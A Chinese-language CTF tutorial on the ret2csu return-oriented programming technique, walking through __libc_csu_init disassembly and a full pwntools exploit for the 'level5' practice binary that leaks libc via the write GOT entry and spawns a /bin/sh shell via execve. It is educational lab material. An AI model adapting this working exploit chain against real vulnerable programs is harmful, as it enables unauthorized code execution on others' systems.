从零开始的 Pwn 之旅 - Ret2csu

前言

正常程序中是不可能有许多可利用的 gadget的,通常只有一个或几个 gadget 可以利用 ret2csu 是一个常见的 gadget,通常在使用 C++ 的程序中会有这个 gadget

程序解读

蒸米的一步一步学 ROP level5

我们重点关注 __libc_csu_init 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
.text:00000000004005A0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005A0
.text:00000000004005A0
.text:00000000004005A0 ; void _libc_csu_init(void)
.text:00000000004005A0                 public __libc_csu_init
.text:00000000004005A0 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:00000000004005A0
.text:00000000004005A0 var_30          = qword ptr -30h
.text:00000000004005A0 var_28          = qword ptr -28h
.text:00000000004005A0 var_20          = qword ptr -20h
.text:00000000004005A0 var_18          = qword ptr -18h
.text:00000000004005A0 var_10          = qword ptr -10h
.text:00000000004005A0 var_8           = qword ptr -8
.text:00000000004005A0
.text:00000000004005A0 ; __unwind {
.text:00000000004005A0                 mov     [rsp+var_28], rbp
.text:00000000004005A5                 mov     [rsp+var_20], r12
.text:00000000004005AA                 lea     rbp, cs:600E24h
.text:00000000004005B1                 lea     r12, cs:600E24h
.text:00000000004005B8                 mov     [rsp+var_18], r13
.text:00000000004005BD                 mov     [rsp+var_10], r14
.text:00000000004005C2                 mov     [rsp+var_8], r15
.text:00000000004005C7                 mov     [rsp+var_30], rbx
.text:00000000004005CC                 sub     rsp, 38h
.text:00000000004005D0                 sub     rbp, r12
.text:00000000004005D3                 mov     r13d, edi
.text:00000000004005D6                 mov     r14, rsi
.text:00000000004005D9                 sar     rbp, 3
.text:00000000004005DD                 mov     r15, rdx
.text:00000000004005E0                 call    _init_proc
.text:00000000004005E5                 test    rbp, rbp
.text:00000000004005E8                 jz      short loc_400606
.text:00000000004005EA                 xor     ebx, ebx
.text:00000000004005EC                 nop     dword ptr [rax+00h]
.text:00000000004005F0
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0
.text:0000000000400606
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn
.text:0000000000400628 ; } // starts at 4005A0
.text:0000000000400628 __libc_csu_init endp

注意这一段

1
2
3
4
5
6
7
8
9
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
.text:000000000040060B                 mov     rbp, [rsp+38h+var_28]
.text:0000000000400610                 mov     r12, [rsp+38h+var_20]
.text:0000000000400615                 mov     r13, [rsp+38h+var_18]
.text:000000000040061A                 mov     r14, [rsp+38h+var_10]
.text:000000000040061F                 mov     r15, [rsp+38h+var_8]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn

这里等价转化一下就是

1
2
3
4
5
6
7
8
9
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+8h]
.text:000000000040060B                 mov     rbp, [rsp+10h]
.text:0000000000400610                 mov     r12, [rsp+18h]
.text:0000000000400615                 mov     r13, [rsp+20h]
.text:000000000040061A                 mov     r14, [rsp+28h]
.text:000000000040061F                 mov     r15, [rsp+30h]
.text:0000000000400624                 add     rsp, 38h
.text:0000000000400628                 retn

与 ctfwiki 中的例子稍有不通但是本质上是等价的 通过这些 gadget,我们可以控制 rbx, rbp, r12, r13, r14, r15 的值

1
2
3
4
5
6
7
8
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r13d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]
.text:00000000004005FD                 add     rbx, 1
.text:0000000000400601                 cmp     rbx, rbp
.text:0000000000400604                 jnz     short loc_4005F0

通过 r15, r14 我们可以控制 rdx, rsi 的值 这里只能控制 rdi 的低 32 位, 但是这里高位一般下是为 0 的 如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址

我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_4005f0,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

这里给出 csu 的 payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
count = 0

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r13d
    # rsi=r14
    # rdx=r15
    global count
    count += 1

    payload = b"a" * (136 - 8) + fakeebp
    payload += (
        p64(csu_end_addr)
        + p64(0)
        + p64(rbx)
        + p64(rbp)
        + p64(r12)
        + p64(r13)
        + p64(r14)
        + p64(r15)
    )
    payload += p64(csu_front_addr)
    payload += b"a" * 0x38
    payload += p64(last)
    if count == -1:
        gdb.attach(io)
        pause()
    io.send(payload)
    sleep(1)

csu_front_addr 地址为

1
2
.text:00000000004005F0 loc_4005F0:                             ; CODE XREF: __libc_csu_init+64↓j
.text:00000000004005F0                 mov     rdx, r15

csu_end_addr 地址为

1
2
.text:0000000000400606 loc_400606:                             ; CODE XREF: __libc_csu_init+48↑j
.text:0000000000400606                 mov     rbx, [rsp+38h+var_30]
为什么要使用这种形式的 payload?

ctfwiki ctfwiki 中下半部分使用 pop 进行控制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54↑j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

但是我们可能遇到 mov 进行控制(本题), ctfwiki 中 csu_end_addr 指向的是 pop rbx, 但是 mov 形式的 add rsp, 8 这部分被合并后面的部分,导致我们没法跳过

实战要灵活变通

攻克题目

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200u);
}

栈溢出 + 格式化字符串

1
2
3
4
5
6
7
8
~/P/R/linux_x64 ❯❯❯ pwn checksec ./level5                                                                                                                     (.venv) master
[*] '/home/lhon901/Pwn/ROP_STEP_BY_STEP/linux_x64/level5'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

64 位,无 cancary

查找 gadget

1
2
3
4
5
6
7
8
9
~/P/R/linux_x64 ❯❯❯ ROPgadget --binary ./level5 --only "pop|ret"                                                                                            (.venv) master ◼
Gadgets information
============================================================
0x0000000000400512 : pop rbp ; ret
0x0000000000400511 : pop rbx ; pop rbp ; ret
0x0000000000400417 : ret
0x0000000000400442 : ret 0x200b

Unique gadgets found: 4

很少没法传参, 使用 csu

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import *

io = process("./level5")
elf = ELF("./level5")
context.arch = "amd64"
context.terminal = ["kitty", "@", "launch", "--type=window"]

fakeebp = p64(0)
csu_front_addr = 0x4005F0
csu_end_addr = 0x400606


count = 0


def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r13d
    # rsi=r14
    # rdx=r15
    global count
    count += 1

    payload = b"a" * (136 - 8) + fakeebp
    payload += (
        p64(csu_end_addr)
        + p64(0)
        + p64(rbx)
        + p64(rbp)
        + p64(r12)
        + p64(r13)
        + p64(r14)
        + p64(r15)
    )
    payload += p64(csu_front_addr)
    payload += b"a" * 0x38
    payload += p64(last)
    if count == -1:
        gdb.attach(io)
        pause()
    io.send(payload)
    sleep(1)


write_got = elf.got["write"]
main = elf.symbols["main"]
csu(0, 1, write_got, 1, write_got, 0x8, main)

write_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
success(f"write_addr: {hex(write_addr)}")
obj = LibcSearcher("write", write_addr, online=True)
libcbase = write_addr - obj.dump("write")
execve_addr = libcbase + obj.dump("execve")

read_got = elf.got["read"]
bss_base = elf.bss()
csu(0, 1, read_got, 0, bss_base, 16, main)
io.send(p64(execve_addr) + b"/bin/sh\x00")

io.recvuntil("Hello, World\n")
## execve(bss_base+8)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main)

io.interactive()